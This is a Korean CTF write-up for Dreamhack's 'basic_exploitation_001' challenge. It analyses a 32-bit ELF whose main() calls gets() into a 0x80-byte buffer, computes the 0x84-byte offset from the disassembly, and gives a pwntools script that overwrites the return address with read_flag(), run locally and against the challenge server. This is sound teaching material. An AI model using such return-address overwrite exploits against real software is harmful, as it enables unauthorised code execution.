$ file basic_exploitation_001
basic_exploitation_001: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3e59f379d1f0653db81908d1d3a5eb9dce83816f, not stripped
주어진 파일은 32bit ELF 파일이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
main 함수에서는 buf 에 0x80 만큼의 크기를 할당하고 있으며, gets() 함수를 통해서 해당 버퍼에 입력값을 입력받고 있다.
main 함수 위쪽에는 flag 내용을 출력하는 read_flag 함수가 있다.
NX 보호 기법이 적용되어 있다. 즉 스택에서 명령어를 실행 시킬 수 없다.
gets() 함수의 스택 버퍼 오버플로우 취약점을 이용하여 return address 의 값을 read_flag 함수로 덮어씌우면 된다.
buf와 return address 사이의 바이트 값이 필요하다.
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
gets() 함수 부근을 보면 스택에 ebp-0x80 값을 넣는 것을 볼 수 있다. 즉 buf 의 주소는 ebp-0x80 이다.
return address 의 주소는 ebp+0x4 이므로 buf 와 return address 사이의 바이트 수는 0x84 이다.
from pwn import *
p = process("./basic_exploitation_001")
e = ELF("./basic_exploitation_001")
read_flag = e.symbols["read_flag"]
payload = b''
payload += b"\x90"*0x84
payload += p32(read_flag)
p.sendline(payload)
p.interactive()
p.close()
$ echo "TEST{this_is_flag}" > flag
$ python3 payload_.py
from pwn import *
#p = process("./basic_exploitation_001")
p = remote("host3.dreamhack.games", 21411)
e = ELF("./basic_exploitation_001")
read_flag = e.symbols["read_flag"]
payload = b''
payload += b"\x90"*0x84
payload += p32(read_flag)
p.sendline(payload)
p.interactive()
p.close()